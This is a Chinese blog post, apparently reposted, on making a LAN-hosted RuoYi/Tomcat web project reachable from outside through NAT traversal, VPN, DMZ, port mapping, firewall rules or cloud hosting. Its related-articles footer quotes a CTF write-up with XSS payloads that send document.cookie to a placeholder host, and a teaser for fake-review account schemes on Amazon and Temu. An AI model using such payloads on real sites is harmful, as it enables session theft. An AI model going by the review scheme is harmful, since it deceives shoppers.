内网部署web项目,外网访问不了?只有局域网能访问!怎样解决?

相关技术

要实现“内网部署,外网访问”,可以使用内网穿透、VPN技术、DMZ主机、端口映射等方法。以下是对这些方法的详细解释:

一、内网穿透

内网穿透是一种技术,它通过将内网设备映射到公网上的方式,实现外网访问内网的目的。内网穿透可以使用动态域名系统(DDNS)服务和端口转发来实现。这种方法允许外部用户通过公网访问内网设备,而无需直接连接到内部网络。内网穿透工具如花生壳、natapp等提供了便捷的方式来实现这一功能。使用内网穿透时,需要确保内网设备已正确配置,并开放相应的端口以允许外部访问。

二、VPN技术

VPN(Virtual Private Network,虚拟专用网络)是一种通过建立加密隧道连接的方法,可以在公网上创建一个安全的虚拟网络,将外部用户连接到内网。通过VPN,外部用户可以获得与内网设备相同的IP地址,从而可以直接访问内网资源。VPN技术提供了高度的安全性和隐私保护,因为它在传输过程中对数据进行了加密。要使用VPN技术,需要配置VPN服务器,并在外部设备上安装VPN客户端以建立连接。

三、DMZ主机

DMZ(Demilitarized Zone,非军事区)是一个在网络中设置的特殊区域,用于放置那些需要向外部用户提供服务的服务器。这些服务器通常位于内部网络和外部网络之间,既可以从内部网络访问,也可以从外部网络访问。然而,将服务器放置在DMZ中会增加安全风险,因为DMZ中的服务器更容易受到外部攻击。因此,在使用DMZ主机时,需要采取额外的安全措施来保护服务器的安全。

四、端口映射

端口映射是将内网中的特定主机和端口通过路由器映射到外网的相应端口上,以实现远程访问的技术。通过端口映射,外部用户可以通过输入路由器的公网IP地址和对应端口来访问内网提供的服务。例如,当一台内网Web服务器的IP是192.168.1.100时,外部用户无法直接访问它。但是,可以在路由器上设置端口映射,将路由器的80端口映射到内网Web服务器的80端口。这样,外部用户就可以通过输入路由器的公网IP地址和端口号。。

综上所述,内网穿透、VPN技术、DMZ主机和端口映射都是实现“内网部署,外网访问”的有效方法。选择哪种方法取决于具体的需求、安全性和易用性等因素。在实际应用中,需要根据实际情况进行选择和配置。

项目配置(以若依项目为例https://www.ruoyi.vip/)

本地配置

Tomcat安装与配置【详细!包含常见问题及其解决方案】-CSDN博客

Ruoyi前后端分离项目部署至Tomcat上_若依前端tomcat-CSDN博客

对外开放,虽然现在试还没成功

Tomcat配置--如何能够让外网通过公网IP或域名访问到服务器上面的项目_tomcat foreign address 配置-CSDN博客

若要使用Tomcat配置校园局域网内部的Web项目以允许外网访问,需要按照以下步骤进行:

一、Tomcat服务器配置

  1. 下载并安装Tomcat

    • 从Tomcat官网下载对应版本的Tomcat压缩包,并解压到合适的目录。
    • 确保Java环境已正确安装,并配置好JAVA_HOME环境变量。
  2. 部署Web项目

    • 将Web项目的文件夹(如WAR包或已解压的文件夹)复制到Tomcat的webapps目录下。
    • 如果项目需要特定配置,可以在Tomcat的conf目录下找到server.xml文件,并根据需要进行修改。
  3. 修改Tomcat配置文件

    • 打开server.xml文件,找到<Connector>元素,并修改或添加以下属性:
      • port:设置为Tomcat对外暴露的端口,通常使用8080,但也可以根据需要更改为其他端口(如80或443,但需注意权限和防火墙设置)。
      • protocol:设置为HTTP/1.1
      • connectionTimeout:设置为连接超时时间,单位为毫秒。
      • redirectPort:如果使用了HTTPS,需要设置此属性为HTTPS的端口号。
    • 示例配置:
    <Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" />
    • 如果需要支持HTTPS,还需要配置SSL连接器,并生成证书。

二、网络配置

  1. 配置防火墙

    • 在校园网络防火墙中,为Tomcat服务器的端口(如8080)创建入站规则,允许外部访问。
    • 如果使用了HTTPS,还需要为HTTPS端口(如443)创建入站规则。
  • 控制面板-》系统和安全-》Windows Defender防火墙

  •  高级设置-》新建入站规则-》依次设置

          

  1. 确保Tomcat服务器具有外网IP

    • 如果Tomcat服务器位于校园局域网内部,需要确保该服务器具有一个可以被外网访问的公网IP地址。
    • 如果服务器只有内网IP地址,可以考虑使用网络NAT(地址转换)或端口转发等技术,将外网访问请求转发到内网服务器。
  2. DNS配置

    • 如果希望使用域名访问Tomcat服务器,可以注册一个域名,并将其解析到Tomcat服务器的公网IP地址。
    • 在DNS提供商的管理界面中,添加A记录或CNAME记录,将域名指向Tomcat服务器的IP地址。

三、其他配置

  1. 反向代理(可选)

    • 为了提高安全性和性能,可以使用Nginx或Apache等反向代理服务器,将外部请求转发到Tomcat服务器。
    • 反向代理服务器还可以提供负载均衡、SSL卸载等功能。

ngnix!!!必学虽然还没学nginx部署前端vue项目步骤-CSDN博客

  1. 安全性设置

    • 确保Tomcat服务器的管理界面受到强密码保护。
    • 定期更新Tomcat服务器和Java环境,以获取最新的安全补丁。
    • 使用HTTPS协议,确保数据传输的安全性。

四、验证配置

  1. 启动Tomcat服务器

    • 在Tomcat的安装目录下,运行startup.bat(Windows)或startup.sh(Linux/Unix)脚本,启动Tomcat服务器。
  2. 访问Web项目

    • 在浏览器中,输入Tomcat服务器的域名或IP地址,以及端口号(如果未使用默认端口8080),然后访问Web项目。
    • 例如:http://yourdomain.com:8080/yourproject 或 http://yourserverip:8080/yourproject
  3. 检查日志

    • 查看Tomcat的日志文件(如catalina.out),确保没有错误或警告信息。
    • 如果出现问题,可以根据日志信息进行排查和解决。

通过以上步骤,可以配置Tomcat服务器以允许外网访问校园局域网内部的Web项目。请确保在进行任何配置之前,已经获得了校园网络管理部门的许可和支持。

实用策略

要让校园局域网内部署的Web项目在外网也能访问,可以通过以下方法和步骤来实现:

方法一:使用花生壳内网穿透(或者cpolar)

花生壳是一款ddns动态域名解析软件,可以实现内网穿透,使得外网用户能够通过固定的域名访问内网主机。以下是使用花生壳内网穿透的详细步骤:

  1. 搭建内网网站服务

    • 在校园局域网内的服务器上安装并配置IIS(Internet Information Services)或其他Web服务器软件。
    • 打开Internet信息服务(IIS)管理器,添加一个新的网站,并配置网站的物理路径、绑定地址(使用内网IP地址)和端口(如80)。
  2. 注册并开通花生壳服务

    • 访问花生壳官网,注册一个账号并开通花生壳内网穿透服务。
    • 在服务器电脑上下载并安装花生壳客户端,使用注册的账号登录。
  3. 添加内网映射

    • 在花生壳客户端中,添加一个新的内网映射,填写映射名称、内网主机IP地址、内网端口以及希望使用的外网域名。
    • 花生壳会自动生成一个外网访问地址,通过这个地址,外网用户就可以访问到内网的Web项目了。

方法二:部署到云服务器

将Web项目部署到云服务器上,是另一种实现外网访问的方法。以下是详细步骤:

  1. 选择合适的云服务提供商

    • 根据项目的需求选择合适的云服务提供商(如AWS、Azure、阿里云等),并创建一个新的虚拟机实例。
  2. 配置服务器

    • 在虚拟机实例上安装操作系统(如Ubuntu、CentOS、Windows Server等),并配置网络设置,确保服务器可以通过互联网访问。
    • 根据Web项目的技术栈,安装必要的软件和依赖。
  3. 上传项目文件

    • 使用SCP、FTP等工具将本地开发环境中的项目文件上传到云服务器。
    • 确保项目文件上传后,路径和结构与本地环境一致。
  4. 配置域名和DNS

    • 购买并注册一个域名,通过域名注册服务提供商的管理控制台配置DNS记录,将域名指向云服务器的公网IP地址。
  5. 开放防火墙端口

    • 在云服务提供商的管理控制台中配置防火墙规则,开放HTTP(端口80)和HTTPS(端口443)端口。
    • 在云服务器的操作系统上,也需要配置操作系统自带的防火墙。
  6. 配置反向代理(可选)

    • 为了提高项目的性能和安全性,可以在云服务器上安装反向代理服务器(如Nginx、Apache),将外部请求转发到内部应用服务器。
  7. 确保安全性

    • 使用HTTPS协议确保数据传输的安全性。
    • 定期更新服务器操作系统和软件,确保最新的安全补丁已应用。
    • 定期备份项目文件和数据库,防止数据丢失。

注意事项

  • 在进行任何配置之前,请确保已经获得了校园网络管理部门的许可和支持。
  • 在配置过程中,要注意保护服务器的安全,避免受到恶意攻击和入侵。
  • 如果使用花生壳等第三方服务,请确保选择可靠的服务提供商,并遵循其使用指南和安全建议。

通过以上方法,可以让校园局域网内部署的Web项目在外网也能被访问。具体选择哪种方法,可以根据项目的需求、预算以及校园网络的具体情况来决定。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/911526.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

鸿蒙ArkTS中的布局容器组件(Scroll、List、Tabs)

1、Scroll组件 Scroll组件是一个可滚动的容器组件&#xff0c;用于在子组件的布局尺寸超过父组件尺寸时提供滚动功能。它允许在其内部容纳超过自身显示区域的内容&#xff0c;并通过滚动机制来查看全部内容。这对于显示大量信息&#xff08;如长列表、长篇文本或大型图像等&…

apache-seata-2.1.0 AT模式使用篇(配置简单)

最近在研究seata的AT模式&#xff0c;先在本地搭建了一个演示demo&#xff0c;看看seata是如何使用的。在网上搜的demo&#xff0c;配置相对来说都比较多。我最终搭建的版本&#xff0c;配置较少&#xff0c;所以写篇文章分享下&#xff0c;希望能帮到对seata感兴趣的小伙伴。先…

卖家必看:亚马逊、temu自养号测评拍单过程中的关键技巧分享

自养号测评是一个循序渐进的过程&#xff0c;许多卖家在测评后却发现流量排名并未显著提升&#xff0c;甚至遭遇了平台警告。即便采用了相同的测评技术&#xff0c;结果却大相径庭。究其原因&#xff0c;除了技术层面的差异&#xff0c;更在于对平台风控规则、测评技巧及细致执…

单细胞 RNA 测序分析的当前最佳实践:教程-文献精读80

Current best practices in single‐cell RNA‐seq analysis: a tutorial 单细胞 RNA 测序分析的当前最佳实践&#xff1a;教程 摘要 单细胞 RNA 测序使基因表达的研究达到了前所未有的分辨率。这项技术的前景吸引了越来越多的用户使用单细胞分析方法。随着更多分析工具的出现…

微积分复习笔记 Calculus Volume 1 - 4.8 L’Hôpital’s Rule

4.8 L’Hpital’s Rule - Calculus Volume 1 | OpenStax

【大语言模型】ACL2024论文-07 BitDistiller: 释放亚4比特大型语言模型的潜力通过自蒸馏

【大语言模型】ACL2024论文-07 BitDistiller: 释放亚4比特大型语言模型的潜力通过自蒸馏 目录 文章目录 【大语言模型】ACL2024论文-07 BitDistiller: 释放亚4比特大型语言模型的潜力通过自蒸馏目录摘要研究背景问题与挑战如何解决创新点算法模型实验效果代码推荐阅读指数&…

积分赛3(D一血题解)

题目&#xff1a; 思路&#xff1a; 找到从起点开始&#xff0c;高度严格单调递增的最大值 代码&#xff1a; #include <iostream>using namespace std;int main () {int n;cin>>n;int mx0;for(int i0; i<n; i){int x;cin>>x;if(x>mx) mxx;else bre…

我谈维纳(Wiener)去噪滤波器

Rafael Gonzalez的《数字图像处理》中&#xff0c;图像复原这章内容几乎全错。本篇只说去噪的问题。 关于图像去噪的滤波器&#xff0c;不考虑降质过程的滤波都不是逆问题。 Gonzalez将自适应中值滤波和自适应局部降噪滤波归并为自适应图像去噪滤波器。尽管它们都是滤波器&…

计算机网络:网络层 —— 多播路由选择协议

文章目录 多播路由选择协议多播转发树构建多播转发树基于源树的多播路由选择建立广播转发树建立多播转发树 组共享树的多播路由选择基于核心的生成树的建立过程 因特网的多播路由选择协议 多播路由选择协议 仅使用 IGMP 并不能在因特网上进行IP多播。连接在局域网上的多播路由…

vscode ssh连接autodl失败

autodl服务器已开启&#xff0c;vscode弹窗显示连接失败 0. 检查状态 这里的端口和主机根据自己的连接更改 ssh -p 52165 rootregion-45.autodl.pro1. 修改config权限 按返回的路径找到config文件 右键--属性--安全--高级--禁用继承--从此对象中删除所有已继承的权限--添加…

阿里云-部署CNI flannel集群网络

环境 1.一台阿里云作为k8s-master:8.130.XXX.231&#xff08;阿里云私有IP&#xff09; 2.Vmware 两个虚拟机分别作为 k8s-node1:192.168.40.131 k8s-node2:192.168.40.131 3.安装Docker 部署过程 k8s-master,k8s-node1,k8s-node2 初始操作 # 关闭防火墙 systemctl stop fi…

CentOS 7 软件/程序安装示例

安装软件/程序 wget&#xff0c;前提需要用 root 用户 1、搜索软件/程序 yum search wget 搜索到软件/程序。 2、安装软件/程序 yum -y install wget 安装完成。 ---------------------------------------------------------------------------------------------------…

[HCTF 2018]WarmUp 1--详细解析

打开靶机&#xff0c;进入界面&#xff1a; 信息搜集 当前界面没有任何有用信息。 想到查看页面源代码。右键–查看页面源代码 看到hint&#xff1a;<!--source.php--> 进入/source.php页面&#xff0c;看到页面源代码&#xff1a; <?phphighlight_file(__FILE_…

Python的函数

一、定义 函数的定义&#xff1a;实现【特定功能】的代码块。 形参&#xff1a;函数定义时的参数&#xff0c;没有实际意义 实参&#xff1a;函数调用/使用时的参数&#xff0c;有实际意义 函数的作用&#xff1a; 简化代码提高代码重用性便于维护和修改提高代码的可扩展性…

ctfshow(319->326)--XSS漏洞--反射型XSS

Web319 思路 先测试过滤&#xff0c;发现过滤了script、img&#xff0c;没有过滤body&#xff0c;svg payload: <body onload"location.hrefhttp://xx.xx.xx.xx/flag.php?cookiedocument.cookie"/><svg onload"location.hrefhttp://xx.xx.xx.xx/fla…

MySQL server 免安装教程

1&#xff0c;下载免安装包-社区版本 https://dev.mysql.com/downloads/file/?id534320 2&#xff0c;解压 放到一电脑某个路径下&#xff0c;整个包 3&#xff0c;创建data 文件夹和my.ini文件 my.ini代码照抄&#xff0c;注意修改路径&#xff0c;与解压后的安装包地址一…

使用ookii-dialogs-wpf在WPF选择文件夹时能输入路径

在进行WPF开发时&#xff0c;System.Windows.Forms.FolderBrowserDialog的选择文件夹功能不支持输入路径&#xff1a; 希望能够获得下图所示的选择文件夹功能&#xff1a; 于是&#xff0c;通过NuGet中安装Ookii.Dialogs.Wpf包&#xff0c;并创建一个简单的工具类&#xff1a; …

Java项目实战II基于Spring Boot的便利店信息管理系统(开发文档+数据库+源码)

目录 一、前言 二、技术介绍 三、系统实现 四、文档参考 五、核心代码 六、源码获取 全栈码农以及毕业设计实战开发&#xff0c;CSDN平台Java领域新星创作者&#xff0c;专注于大学生项目实战开发、讲解和毕业答疑辅导。获取源码联系方式请查看文末 一、前言 在快节奏的…

SpringBoot整合Liquibase对数据库管理和迁移

简介 Liquibase是一个用于用于跟踪、管理和应用数据库变化的开源工具&#xff0c;通过日志文件(changelog)的形式记录数据库的变更(changeset)&#xff0c;然后执行日志文件中的修改&#xff0c;将数据库更新或回滚(rollback)到一致的状态。它的目标是提供一种数据库类型无关的…

练习LabVIEW第四十三题

学习目标&#xff1a; 模拟红绿灯&#xff0c;红灯亮十秒&#xff0c;绿灯亮五秒&#xff0c;交替&#xff0c;并用波形图将波形显示 开始编写&#xff1a; 前面板 两个指示灯&#xff0c;一个红色&#xff0c;一个绿色&#xff0c;一个波形图&#xff1b; 程序框图 创建…